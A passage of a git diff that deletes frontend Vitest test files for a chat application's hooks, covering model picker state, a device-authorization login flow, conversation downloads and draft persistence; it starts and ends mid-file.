- it("non-ACP: shows the conversation/settings llm_model with no picker", () => { - useActiveConversationMock.mockReturnValue({ - data: { conversation_id: "c1", llm_model: "openai/gpt-4o" }, - }); - useOptionalConversationIdMock.mockReturnValue({ conversationId: "c1" }); - - const { result } = renderHook(() => useChatInputModelState()); - - expect(result.current.isAcpContext).toBe(false); - expect(result.current.currentModelId).toBe("openai/gpt-4o"); - expect(result.current.displayModel).toBe("openai/gpt-4o"); - expect(result.current.availableAcpModels).toEqual([]); - expect(result.current.showAcpPicker).toBe(false); - // switchConversationId is ACP-only — null for native conversations. - expect(result.current.switchConversationId).toBeNull(); - expect(result.current.destinationPath).toBe("/settings/llm"); - }); - - it("non-ACP: falls back to settings.llm_model when the conversation has none", () => { - useActiveConversationMock.mockReturnValue({ data: undefined }); - useSettingsMock.mockReturnValue({ data: { llm_model: "openai/gpt-4o" } }); - - const { result } = renderHook(() => useChatInputModelState()); - - expect(result.current.currentModelId).toBe("openai/gpt-4o"); - }); - - it("active ACP: resolves the provider's available models (getAcpProvider called for active contexts, not just home)", () => { - // Regression guard: in the old ChatInputModel `getAcpProvider` ran only on - // the home branch. The shared hook calls it for ANY ACP context so the - // picker has a model list on active conversations too. Pin that contract. - const provider = getAcpProvider("claude-code"); - expect(provider?.available_models?.length).toBeGreaterThan(0); - - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "c1", - agent_kind: "acp", - acp_server: "claude-code", - llm_model: "sonnet", - }, - }); - useOptionalConversationIdMock.mockReturnValue({ conversationId: "c1" }); - useAcpModelContextMock.mockReturnValue( - acpContext({ - isActiveAcpConversation: true, - isAcpContext: true, - destinationPath: "/settings/agents", - destinationLabel: "Agent", - }), - ); - - const { result } = renderHook(() => useChatInputModelState()); - - expect(result.current.isAcpContext).toBe(true); - expect(result.current.currentModelId).toBe("sonnet"); - // Human label resolved from the registry (matches the conversation chip). - expect(result.current.displayModel).toBe("Claude Sonnet 4.6"); - expect(result.current.availableAcpModels).toEqual( - provider?.available_models, - ); - // Local backend + ACP + a non-empty model list → picker is enabled. - expect(result.current.showAcpPicker).toBe(true); - // Live switch targets the navigation conversation id. - expect(result.current.switchConversationId).toBe("c1"); - expect(result.current.destinationPath).toBe("/settings/agents"); - }); - - it("home ACP: resolves the configured acp_model and exposes the picker, but no live-switch target", () => { - useActiveConversationMock.mockReturnValue({ data: undefined }); - useSettingsMock.mockReturnValue({ - data: { - agent_settings: { - agent_kind: "acp", - acp_server: "claude-code", - acp_model: "claude-sonnet-4-6", - }, - }, - }); - useOptionalConversationIdMock.mockReturnValue({ conversationId: null }); - useAcpModelContextMock.mockReturnValue( - acpContext({ - isHomeAcp: true, - isAcpContext: true, - destinationPath: "/settings/agents", - destinationLabel: "Agent", - }), - ); - - const { result } = renderHook(() => useChatInputModelState()); - - expect(result.current.currentModelId).toBe("claude-sonnet-4-6"); - expect(result.current.showAcpPicker).toBe(true); - // Home / no session → there is no conversation to switch in place. - expect(result.current.switchConversationId).toBeNull(); - }); - - it("home ACP: falls back to the provider default when no acp_model is saved", () => { - const provider = getAcpProvider("claude-code"); - useActiveConversationMock.mockReturnValue({ data: undefined }); - useSettingsMock.mockReturnValue({ - data: { - agent_settings: { agent_kind: "acp", acp_server: "claude-code" }, - }, - }); - useAcpModelContextMock.mockReturnValue( - acpContext({ isHomeAcp: true, isAcpContext: true }), - ); - - const { result } = renderHook(() => useChatInputModelState()); - - expect(result.current.currentModelId).toBe(provider?.default_model); - }); - - it("showAcpPicker: cloud backend shows the picker when a model list is present (cloud ACP supports mid-conversation switching)", () => { - useActiveBackendMock.mockReturnValue({ backend: { kind: "cloud" } }); - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "c1", - agent_kind: "acp", - acp_server: "claude-code", - llm_model: "claude-sonnet-4-6", - }, - }); - useAcpModelContextMock.mockReturnValue( - acpContext({ isActiveAcpConversation: true, isAcpContext: true }), - ); - - const { result } = renderHook(() => useChatInputModelState()); - - expect(result.current.availableAcpModels.length).toBeGreaterThan(0); - // ACP + model list present → picker is enabled on all backends - // (cloud ACP conversations support mid-conversation model switching). - expect(result.current.showAcpPicker).toBe(true); - }); - - it("showAcpPicker tri-condition: an unknown ACP provider has no model list → no picker", () => { - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "c1", - agent_kind: "acp", - acp_server: "some-custom-server", - llm_model: "custom-model", - }, - }); - useAcpModelContextMock.mockReturnValue( - acpContext({ isActiveAcpConversation: true, isAcpContext: true }), - ); - - const { result } = renderHook(() => useChatInputModelState()); - - expect(result.current.availableAcpModels).toEqual([]); - expect(result.current.showAcpPicker).toBe(false); - // Unknown model id has no registry label → falls back to the raw id. - expect(result.current.displayModel).toBe("custom-model"); - }); -}); diff --git a/__tests__/hooks/use-click-outside-element.test.tsx b/__tests__/hooks/use-click-outside-element.test.tsx deleted file mode 100644 index 3f9c77c0c..000000000 --- a/__tests__/hooks/use-click-outside-element.test.tsx +++ /dev/null @@ -1,36 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { expect, test, vi } from "vitest"; -import { useClickOutsideElement } from "#/hooks/use-click-outside-element"; - -interface ClickOutsideTestComponentProps { - callback: () => void; -} - -function ClickOutsideTestComponent({ - callback, -}: ClickOutsideTestComponentProps) { - const ref = useClickOutsideElement(callback); - - return ( -
    -
    -
    -
    - ); -} - -test("call the callback when the element is clicked outside", async () => { - const user = userEvent.setup(); - const callback = vi.fn(); - render(); - - const insideElement = screen.getByTestId("inside-element"); - const outsideElement = screen.getByTestId("outside-element"); - - await user.click(insideElement); - expect(callback).not.toHaveBeenCalled(); - - await user.click(outsideElement); - expect(callback).toHaveBeenCalled(); -}); diff --git a/__tests__/hooks/use-device-flow.test.ts b/__tests__/hooks/use-device-flow.test.ts deleted file mode 100644 index 3eb11154e..000000000 --- a/__tests__/hooks/use-device-flow.test.ts +++ /dev/null @@ -1,321 +0,0 @@ -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { renderHook, act, waitFor } from "@testing-library/react"; -import { useDeviceFlow } from "../../src/hooks/use-device-flow"; -import * as deviceFlowClient from "../../src/api/device-flow-client"; -import * as cloudFunnelAnalytics from "../../src/services/cloud-funnel-analytics"; - -vi.mock("../../src/api/device-flow-client", () => ({ - startDeviceFlow: vi.fn(), - pollForToken: vi.fn(), - DeviceFlowError: class DeviceFlowError extends Error { - code?: string; - constructor(message: string, code?: string) { - super(message); - this.name = "DeviceFlowError"; - this.code = code; - } - }, -})); - -vi.mock("../../src/services/cloud-funnel-analytics", () => ({ - trackCloudDeviceAuthorizationStarted: vi.fn(), - trackCloudDeviceAuthorizationSucceeded: vi.fn(), -})); - -describe("useDeviceFlow", () => { - beforeEach(() => { - vi.clearAllMocks(); - }); - - afterEach(() => { - vi.restoreAllMocks(); - }); - - it("initializes with idle state", () => { - const { result } = renderHook(() => useDeviceFlow()); - - expect(result.current.status).toBe("idle"); - expect(result.current.verificationUrl).toBeNull(); - expect(result.current.userCode).toBeNull(); - expect(result.current.apiKey).toBeNull(); - expect(result.current.error).toBeNull(); - }); - - it("transitions through states on successful auth", async () => { - const mockAuthResponse = { - device_code: "device123", - user_code: "USER-1234", - verification_uri: "https://app.all-hands.dev/device", - verification_uri_complete: - "https://app.all-hands.dev/device?user_code=USER-1234", - expires_in: 600, - interval: 5, - }; - - const mockTokenResponse = { - access_token: "api-key-123", - token_type: "Bearer", - }; - - // Make startDeviceFlow resolve after a tick to allow observing states - let resolveStart: (value: typeof mockAuthResponse) => void; - const startPromise = new Promise((resolve) => { - resolveStart = resolve; - }); - - let resolvePoll: (value: typeof mockTokenResponse) => void; - const pollPromise = new Promise((resolve) => { - resolvePoll = resolve; - }); - - vi.mocked(deviceFlowClient.startDeviceFlow).mockReturnValue(startPromise); - vi.mocked(deviceFlowClient.pollForToken).mockReturnValue(pollPromise); - - const { result } = renderHook(() => useDeviceFlow()); - - // Start the flow - act(() => { - result.current.start("https://app.all-hands.dev", "onboarding"); - }); - - // Should be starting - expect(result.current.status).toBe("starting"); - - // Resolve startDeviceFlow - await act(async () => { - resolveStart!(mockAuthResponse); - await Promise.resolve(); // flush microtasks - }); - - // Now should be awaiting_authorization - expect(result.current.status).toBe("awaiting_authorization"); - expect(result.current.verificationUrl).toBe( - "https://app.all-hands.dev/device?user_code=USER-1234", - ); - expect(result.current.userCode).toBe("USER-1234"); - expect( - cloudFunnelAnalytics.trackCloudDeviceAuthorizationStarted, - ).toHaveBeenCalledWith("https://app.all-hands.dev", "onboarding"); - - // Resolve pollForToken - await act(async () => { - resolvePoll!(mockTokenResponse); - await Promise.resolve(); // flush microtasks - }); - - // Now should be success - expect(result.current.status).toBe("success"); - expect(result.current.apiKey).toBe("api-key-123"); - expect( - cloudFunnelAnalytics.trackCloudDeviceAuthorizationSucceeded, - ).toHaveBeenCalledWith("https://app.all-hands.dev", "onboarding"); - }); - - it("handles startDeviceFlow error", async () => { - vi.mocked(deviceFlowClient.startDeviceFlow).mockRejectedValue( - new deviceFlowClient.DeviceFlowError("Failed to start"), - ); - - const { result } = renderHook(() => useDeviceFlow()); - - act(() => { - result.current.start("https://app.all-hands.dev"); - }); - - await waitFor(() => { - expect(result.current.status).toBe("error"); - }); - - expect(result.current.error).toBe("Failed to start"); - expect( - cloudFunnelAnalytics.trackCloudDeviceAuthorizationStarted, - ).not.toHaveBeenCalled(); - }); - - it("handles pollForToken error", async () => { - const mockAuthResponse = { - device_code: "device123", - user_code: "USER-1234", - verification_uri: "https://app.all-hands.dev/device", - verification_uri_complete: - "https://app.all-hands.dev/device?user_code=USER-1234", - expires_in: 600, - interval: 5, - }; - - vi.mocked(deviceFlowClient.startDeviceFlow).mockResolvedValue( - mockAuthResponse, - ); - vi.mocked(deviceFlowClient.pollForToken).mockRejectedValue( - new deviceFlowClient.DeviceFlowError("Access denied", "access_denied"), - ); - - const { result } = renderHook(() => useDeviceFlow()); - - act(() => { - result.current.start("https://app.all-hands.dev"); - }); - - await waitFor(() => { - expect(result.current.status).toBe("error"); - }); - - expect(result.current.error).toBe("Access denied"); - expect(result.current.errorCode).toBe("access_denied"); - expect( - cloudFunnelAnalytics.trackCloudDeviceAuthorizationSucceeded, - ).not.toHaveBeenCalled(); - }); - - it("cancels flow and resets to idle", async () => { - const mockAuthResponse = { - device_code: "device123", - user_code: "USER-1234", - verification_uri: "https://app.all-hands.dev/device", - verification_uri_complete: - "https://app.all-hands.dev/device?user_code=USER-1234", - expires_in: 600, - interval: 5, - }; - - // Make pollForToken hang indefinitely - vi.mocked(deviceFlowClient.startDeviceFlow).mockResolvedValue( - mockAuthResponse, - ); - vi.mocked(deviceFlowClient.pollForToken).mockImplementation( - () => new Promise(() => {}), - ); - - const { result } = renderHook(() => useDeviceFlow()); - - act(() => { - result.current.start("https://app.all-hands.dev"); - }); - - await waitFor(() => { - expect(result.current.status).toBe("awaiting_authorization"); - }); - - act(() => { - result.current.cancel(); - }); - - expect(result.current.status).toBe("idle"); - expect(result.current.verificationUrl).toBeNull(); - }); - - it("resets to idle state", async () => { - const mockAuthResponse = { - device_code: "device123", - user_code: "USER-1234", - verification_uri: "https://app.all-hands.dev/device", - verification_uri_complete: - "https://app.all-hands.dev/device?user_code=USER-1234", - expires_in: 600, - interval: 5, - }; - - const mockTokenResponse = { - access_token: "api-key-123", - token_type: "Bearer", - }; - - vi.mocked(deviceFlowClient.startDeviceFlow).mockResolvedValue( - mockAuthResponse, - ); - vi.mocked(deviceFlowClient.pollForToken).mockResolvedValue( - mockTokenResponse, - ); - - const { result } = renderHook(() => useDeviceFlow()); - - act(() => { - result.current.start("https://app.all-hands.dev"); - }); - - await waitFor(() => { - expect(result.current.status).toBe("success"); - }); - - act(() => { - result.current.reset(); - }); - - expect(result.current.status).toBe("idle"); - expect(result.current.apiKey).toBeNull(); - }); - - it("cancels previous flow when starting a new one", async () => { - const mockAuthResponse = { - device_code: "device123", - user_code: "USER-1234", - verification_uri: "https://app.all-hands.dev/device", - verification_uri_complete: - "https://app.all-hands.dev/device?user_code=USER-1234", - expires_in: 600, - interval: 5, - }; - - vi.mocked(deviceFlowClient.startDeviceFlow).mockResolvedValue( - mockAuthResponse, - ); - vi.mocked(deviceFlowClient.pollForToken).mockImplementation( - () => new Promise(() => {}), - ); - - const { result } = renderHook(() => useDeviceFlow()); - - // Start first flow - act(() => { - result.current.start("https://app.all-hands.dev"); - }); - - await waitFor(() => { - expect(result.current.status).toBe("awaiting_authorization"); - }); - - // Start second flow (should cancel first) - act(() => { - result.current.start("https://staging.all-hands.dev"); - }); - - // Should be starting again (first flow cancelled) - expect(result.current.status).toBe("starting"); - }); - - it("cleans up on unmount without state update warnings", async () => { - const mockAuthResponse = { - device_code: "device123", - user_code: "USER-1234", - verification_uri: "https://app.all-hands.dev/device", - verification_uri_complete: - "https://app.all-hands.dev/device?user_code=USER-1234", - expires_in: 600, - interval: 5, - }; - - vi.mocked(deviceFlowClient.startDeviceFlow).mockResolvedValue( - mockAuthResponse, - ); - // Make pollForToken hang forever to simulate in-progress flow - vi.mocked(deviceFlowClient.pollForToken).mockImplementation( - () => new Promise(() => {}), - ); - - const { result, unmount } = renderHook(() => useDeviceFlow()); - - act(() => { - result.current.start("https://app.all-hands.dev"); - }); - - await waitFor(() => { - expect(result.current.status).toBe("awaiting_authorization"); - }); - - // Unmount should abort without errors or state update warnings - unmount(); - - // If cleanup didn't work, React would warn about state updates on unmounted component - // No assertion needed - the test passes if unmount completes without warnings - }); -}); diff --git a/__tests__/hooks/use-download-conversation.test.ts b/__tests__/hooks/use-download-conversation.test.ts deleted file mode 100644 index 85e10d8ae..000000000 --- a/__tests__/hooks/use-download-conversation.test.ts +++ /dev/null @@ -1,96 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { describe, expect, it, vi, beforeEach } from "vitest"; -import React from "react"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; - -const trackDownloadTrajectoryButtonClickedMock = vi.fn(); -vi.mock("#/hooks/use-tracking", () => ({ - useTracking: () => ({ - trackDownloadTrajectoryButtonClicked: trackDownloadTrajectoryButtonClickedMock, - }), -})); - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ t: (key: string) => key }), -})); - -vi.mock("#/utils/utils", () => ({ - downloadBlob: vi.fn(), -})); - -vi.mock("#/utils/custom-toast-handlers", () => ({ - displayErrorToast: vi.fn(), -})); - -import { useDownloadConversation } from "#/hooks/use-download-conversation"; - -const createWrapper = () => { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, - }); - return ({ children }: { children: React.ReactNode }) => - React.createElement(QueryClientProvider, { client: queryClient }, children); -}; - -describe("useDownloadConversation - tracking", () => { - beforeEach(() => { - vi.clearAllMocks(); - vi.spyOn( - AgentServerConversationService, - "downloadConversation", - ).mockResolvedValue(new Blob(["data"], { type: "application/zip" })); - }); - - it("calls trackDownloadTrajectoryButtonClicked when download is triggered", async () => { - const { result } = renderHook(() => useDownloadConversation(), { - wrapper: createWrapper(), - }); - - await result.current.mutateAsync("conv-123"); - - await waitFor(() => { - expect(trackDownloadTrajectoryButtonClickedMock).toHaveBeenCalledTimes(1); - }); - }); - - it("calls trackDownloadTrajectoryButtonClicked before the API call", async () => { - const callOrder: string[] = []; - trackDownloadTrajectoryButtonClickedMock.mockImplementation(() => { - callOrder.push("tracking"); - }); - vi.spyOn( - AgentServerConversationService, - "downloadConversation", - ).mockImplementation(async () => { - callOrder.push("api"); - return new Blob(); - }); - - const { result } = renderHook(() => useDownloadConversation(), { - wrapper: createWrapper(), - }); - - await result.current.mutateAsync("conv-123"); - - expect(callOrder).toEqual(["tracking", "api"]); - }); - - it("still fires tracking even when the API subsequently rejects", async () => { - // trackDownloadTrajectoryButtonClicked is called synchronously before - // the await on downloadConversation, so it always fires regardless of - // API outcome. - vi.spyOn( - AgentServerConversationService, - "downloadConversation", - ).mockRejectedValue(new Error("network error")); - - const { result } = renderHook(() => useDownloadConversation(), { - wrapper: createWrapper(), - }); - - await result.current.mutateAsync("conv-123").catch(() => {}); - - expect(trackDownloadTrajectoryButtonClickedMock).toHaveBeenCalledTimes(1); - }); -}); diff --git a/__tests__/hooks/use-draft-persistence.test.tsx b/__tests__/hooks/use-draft-persistence.test.tsx deleted file mode 100644 index 63836ec4b..000000000 --- a/__tests__/hooks/use-draft-persistence.test.tsx +++ /dev/null @@ -1,618 +0,0 @@ -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { renderHook, act } from "@testing-library/react"; -import { useDraftPersistence } from "#/hooks/chat/use-draft-persistence"; -import * as conversationLocalStorage from "#/utils/conversation-local-storage"; - -// Mock the entire module -vi.mock("#/utils/conversation-local-storage", () => ({ - useConversationLocalStorageState: vi.fn(), - getConversationState: vi.fn(), - setConversationState: vi.fn(), -})); - -// Mock the chat-input utilities. The hook uses both `getTextContent` -// (to read the current contentEditable text) and `focusContentEditableAtEnd` -// (to place the caret at the end of the input after restoring a draft). -// Both need to be mocked here so the hook doesn't crash on -// `focusContentEditableAtEnd is not a function`. -vi.mock("#/components/features/chat/utils/chat-input.utils", () => ({ - getTextContent: vi.fn((el: HTMLDivElement | null) => el?.textContent || ""), - focusContentEditableAtEnd: vi.fn(), -})); - -describe("useDraftPersistence", () => { - let mockSetDraftMessage: (message: string | null) => void; - - // Create a mock ref to contentEditable div - const createMockChatInputRef = (initialContent = "") => { - const div = document.createElement("div"); - div.setAttribute("contenteditable", "true"); - div.textContent = initialContent; - return { current: div }; - }; - - beforeEach(() => { - vi.clearAllMocks(); - vi.useFakeTimers(); - localStorage.clear(); - - mockSetDraftMessage = vi.fn<(message: string | null) => void>(); - - // Default mock for useConversationLocalStorageState - vi.mocked(conversationLocalStorage.useConversationLocalStorageState).mockReturnValue({ - state: { - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: null, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }, - setSelectedTab: vi.fn(), - setUnpinnedTabs: vi.fn(), - setConversationMode: vi.fn(), - setDraftMessage: mockSetDraftMessage, - setFilesTabDiffView: vi.fn(), - setFilesTabContentViewMode: vi.fn(), - }); - - // Default mock for getConversationState - vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: null, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - }); - - afterEach(() => { - vi.useRealTimers(); - vi.clearAllMocks(); - }); - - describe("draft restoration on mount", () => { - it("restores draft from localStorage when mounting with existing draft", () => { - // Arrange - const conversationId = "conv-restore-1"; - const savedDraft = "Previously saved draft message"; - const chatInputRef = createMockChatInputRef(); - - vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: savedDraft, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - - // Act - renderHook(() => useDraftPersistence(conversationId, chatInputRef)); - - // Assert - draft should be restored to the DOM element - expect(chatInputRef.current?.textContent).toBe(savedDraft); - }); - - it("clears input on mount then restores draft if exists", () => { - // Arrange - const conversationId = "conv-restore-2"; - const existingContent = "Stale content from previous conversation"; - const savedDraft = "Saved draft"; - const chatInputRef = createMockChatInputRef(existingContent); - - vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: savedDraft, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - - // Act - renderHook(() => useDraftPersistence(conversationId, chatInputRef)); - - // Assert - input cleared then draft restored - expect(chatInputRef.current?.textContent).toBe(savedDraft); - }); - - it("clears input when no draft exists for conversation", () => { - // Arrange - const conversationId = "conv-no-draft"; - const chatInputRef = createMockChatInputRef("Some stale content"); - - vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: null, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - - // Act - renderHook(() => useDraftPersistence(conversationId, chatInputRef)); - - // Assert - content should be cleared since there's no draft - expect(chatInputRef.current?.textContent).toBe(""); - }); - }); - - describe("debounced saving", () => { - it("saves draft after debounce period", () => { - // Arrange - const conversationId = "conv-debounce-1"; - const chatInputRef = createMockChatInputRef(); - - const { result } = renderHook(() => - useDraftPersistence(conversationId, chatInputRef), - ); - - // Act - simulate user typing - chatInputRef.current!.textContent = "New draft content"; - act(() => { - result.current.saveDraft(); - }); - - // Assert - should not save immediately - expect(mockSetDraftMessage).not.toHaveBeenCalled(); - - // Fast forward past debounce period (500ms) - act(() => { - vi.advanceTimersByTime(500); - }); - - // Assert - should save after debounce - expect(mockSetDraftMessage).toHaveBeenCalledWith("New draft content"); - }); - - it("cancels pending save when new input arrives before debounce", () => { - // Arrange - const conversationId = "conv-debounce-2"; - const chatInputRef = createMockChatInputRef(); - - const { result } = renderHook(() => - useDraftPersistence(conversationId, chatInputRef), - ); - - // Act - first input - chatInputRef.current!.textContent = "First"; - act(() => { - result.current.saveDraft(); - }); - - // Wait 200ms (less than debounce) - act(() => { - vi.advanceTimersByTime(200); - }); - - // Second input before debounce completes - chatInputRef.current!.textContent = "First Second"; - act(() => { - result.current.saveDraft(); - }); - - // Complete the second debounce - act(() => { - vi.advanceTimersByTime(500); - }); - - // Assert - should only save the final value once - expect(mockSetDraftMessage).toHaveBeenCalledTimes(1); - expect(mockSetDraftMessage).toHaveBeenCalledWith("First Second"); - }); - - it("does not save if content matches existing draft", () => { - // Arrange - const conversationId = "conv-no-change"; - const existingDraft = "Existing draft"; - const chatInputRef = createMockChatInputRef(existingDraft); - - vi.mocked(conversationLocalStorage.useConversationLocalStorageState).mockReturnValue({ - state: { - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: existingDraft, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }, - setSelectedTab: vi.fn(), - setUnpinnedTabs: vi.fn(), - setConversationMode: vi.fn(), - setDraftMessage: mockSetDraftMessage, - setFilesTabDiffView: vi.fn(), - setFilesTabContentViewMode: vi.fn(), - }); - - vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: existingDraft, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - - const { result } = renderHook(() => - useDraftPersistence(conversationId, chatInputRef), - ); - - // Act - try to save same content - act(() => { - result.current.saveDraft(); - }); - - act(() => { - vi.advanceTimersByTime(500); - }); - - // Assert - should not save since content is the same - expect(mockSetDraftMessage).not.toHaveBeenCalled(); - }); - }); - - describe("clearDraft", () => { - it("clears the draft from localStorage", () => { - // Arrange - const conversationId = "conv-clear-1"; - const chatInputRef = createMockChatInputRef("Some content"); - - const { result } = renderHook(() => - useDraftPersistence(conversationId, chatInputRef), - ); - - // Act - act(() => { - result.current.clearDraft(); - }); - - // Assert - expect(mockSetDraftMessage).toHaveBeenCalledWith(null); - }); - - it("cancels any pending debounced save when clearing", () => { - // Arrange - const conversationId = "conv-clear-2"; - const chatInputRef = createMockChatInputRef(); - - const { result } = renderHook(() => - useDraftPersistence(conversationId, chatInputRef), - ); - - // Start a save - chatInputRef.current!.textContent = "Pending draft"; - act(() => { - result.current.saveDraft(); - }); - - // Clear before debounce completes - act(() => { - vi.advanceTimersByTime(200); - result.current.clearDraft(); - }); - - // Complete the original debounce period - act(() => { - vi.advanceTimersByTime(500); - }); - - // Assert - only the clear should have been called (the pending save should be cancelled) - expect(mockSetDraftMessage).toHaveBeenCalledTimes(1); - expect(mockSetDraftMessage).toHaveBeenCalledWith(null); - }); - }); - - describe("conversation switching", () => { - it("clears input when switching to a new conversation without a draft", () => { - // Arrange - const chatInputRef = createMockChatInputRef("Draft from conv A"); - - // First conversation has a draft - vi.mocked(conversationLocalStorage.getConversationState) - .mockReturnValueOnce({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: "Draft from conv A", - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }) - .mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: null, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - - const { rerender } = renderHook( - ({ conversationId }) => - useDraftPersistence(conversationId, chatInputRef), - { initialProps: { conversationId: "conv-A" } }, - ); - - // Act - switch to conversation B - rerender({ conversationId: "conv-B" }); - - // Assert - input should be cleared (no draft for conv-B) - expect(chatInputRef.current?.textContent).toBe(""); - }); - - it("restores draft when switching to a conversation with an existing draft", () => { - // Arrange - const chatInputRef = createMockChatInputRef(); - const draftForConvB = "Saved draft for conversation B"; - - vi.mocked(conversationLocalStorage.getConversationState) - .mockReturnValueOnce({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: null, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }) - .mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: draftForConvB, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - - const { rerender } = renderHook( - ({ conversationId }) => - useDraftPersistence(conversationId, chatInputRef), - { initialProps: { conversationId: "conv-A" } }, - ); - - // Act - switch to conversation B - rerender({ conversationId: "conv-B" }); - - // Assert - draft for conv-B should be restored - expect(chatInputRef.current?.textContent).toBe(draftForConvB); - }); - - it("cancels pending save when switching conversations", () => { - // Arrange - const chatInputRef = createMockChatInputRef(); - - const { result, rerender } = renderHook( - ({ conversationId }) => - useDraftPersistence(conversationId, chatInputRef), - { initialProps: { conversationId: "conv-A" } }, - ); - - // Start typing in conv-A - chatInputRef.current!.textContent = "Draft for conv-A"; - act(() => { - result.current.saveDraft(); - }); - - // Switch conversation before debounce completes - act(() => { - vi.advanceTimersByTime(200); - }); - rerender({ conversationId: "conv-B" }); - - // Complete the debounce period - act(() => { - vi.advanceTimersByTime(500); - }); - - // Assert - the save should NOT have happened because conversation changed - expect(mockSetDraftMessage).not.toHaveBeenCalled(); - }); - }); - - describe("task ID to real conversation ID transition", () => { - it("transfers draft from task ID to real conversation ID during transition", () => { - // Arrange - const chatInputRef = createMockChatInputRef("Draft typed during init"); - - vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: null, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - - const { rerender } = renderHook( - ({ conversationId }) => - useDraftPersistence(conversationId, chatInputRef), - { initialProps: { conversationId: "task-abc-123" } }, - ); - - // Simulate user typing during task initialization - chatInputRef.current!.textContent = "Draft typed during init"; - - // Act - transition to real conversation ID - rerender({ conversationId: "conv-real-123" }); - - // Assert - draft should be saved to the new real conversation ID - expect(conversationLocalStorage.setConversationState).toHaveBeenCalledWith( - "conv-real-123", - { draftMessage: "Draft typed during init" }, - ); - - // And the draft should remain visible in the input - expect(chatInputRef.current?.textContent).toBe("Draft typed during init"); - }); - - it("does not transfer empty draft during task-to-real transition", () => { - // Arrange - const chatInputRef = createMockChatInputRef(""); - - vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: null, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - - const { rerender } = renderHook( - ({ conversationId }) => - useDraftPersistence(conversationId, chatInputRef), - { initialProps: { conversationId: "task-abc-123" } }, - ); - - // Act - transition to real conversation ID with empty input - rerender({ conversationId: "conv-real-123" }); - - // Assert - no draft should be saved (input is cleared, checked by hook) - // The setConversationState should not be called with draftMessage - expect(conversationLocalStorage.setConversationState).not.toHaveBeenCalled(); - }); - - it("does not transfer draft for non-task ID transitions", () => { - // Arrange - const chatInputRef = createMockChatInputRef("Some draft"); - - vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({ - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: null, - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }); - - const { rerender } = renderHook( - ({ conversationId }) => - useDraftPersistence(conversationId, chatInputRef), - { initialProps: { conversationId: "conv-A" } }, - ); - - // Act - normal conversation switch (not task-to-real) - rerender({ conversationId: "conv-B" }); - - // Assert - should not use setConversationState directly - // (the normal path uses setDraftMessage from the hook) - expect(conversationLocalStorage.setConversationState).not.toHaveBeenCalled(); - }); - }); - - describe("hasDraft and isRestored state", () => { - it("returns hasDraft true when draft exists in hook state", () => { - // Arrange - const conversationId = "conv-has-draft"; - const chatInputRef = createMockChatInputRef(); - - vi.mocked(conversationLocalStorage.useConversationLocalStorageState).mockReturnValue({ - state: { - selectedTab: "files", - unpinnedTabs: [], - conversationMode: "code", - subConversationTaskId: null, - draftMessage: "Existing draft", - filesTabDiffView: null, - filesTabContentViewMode: "rich", - }, - setSelectedTab: vi.fn(), - setUnpinnedTabs: vi.fn(), - setConversationMode: vi.fn(), - setDraftMessage: mockSetDraftMessage, - setFilesTabDiffView: vi.fn(), - setFilesTabContentViewMode: vi.fn(), - }); - - // Act - const { result } = renderHook(() => - useDraftPersistence(conversationId, chatInputRef), - ); - - // Assert - expect(result.current.hasDraft).toBe(true); - }); - - it("returns hasDraft false when no draft exists", () => { - // Arrange - const conversationId = "conv-no-draft"; - const chatInputRef = createMockChatInputRef(); - - // 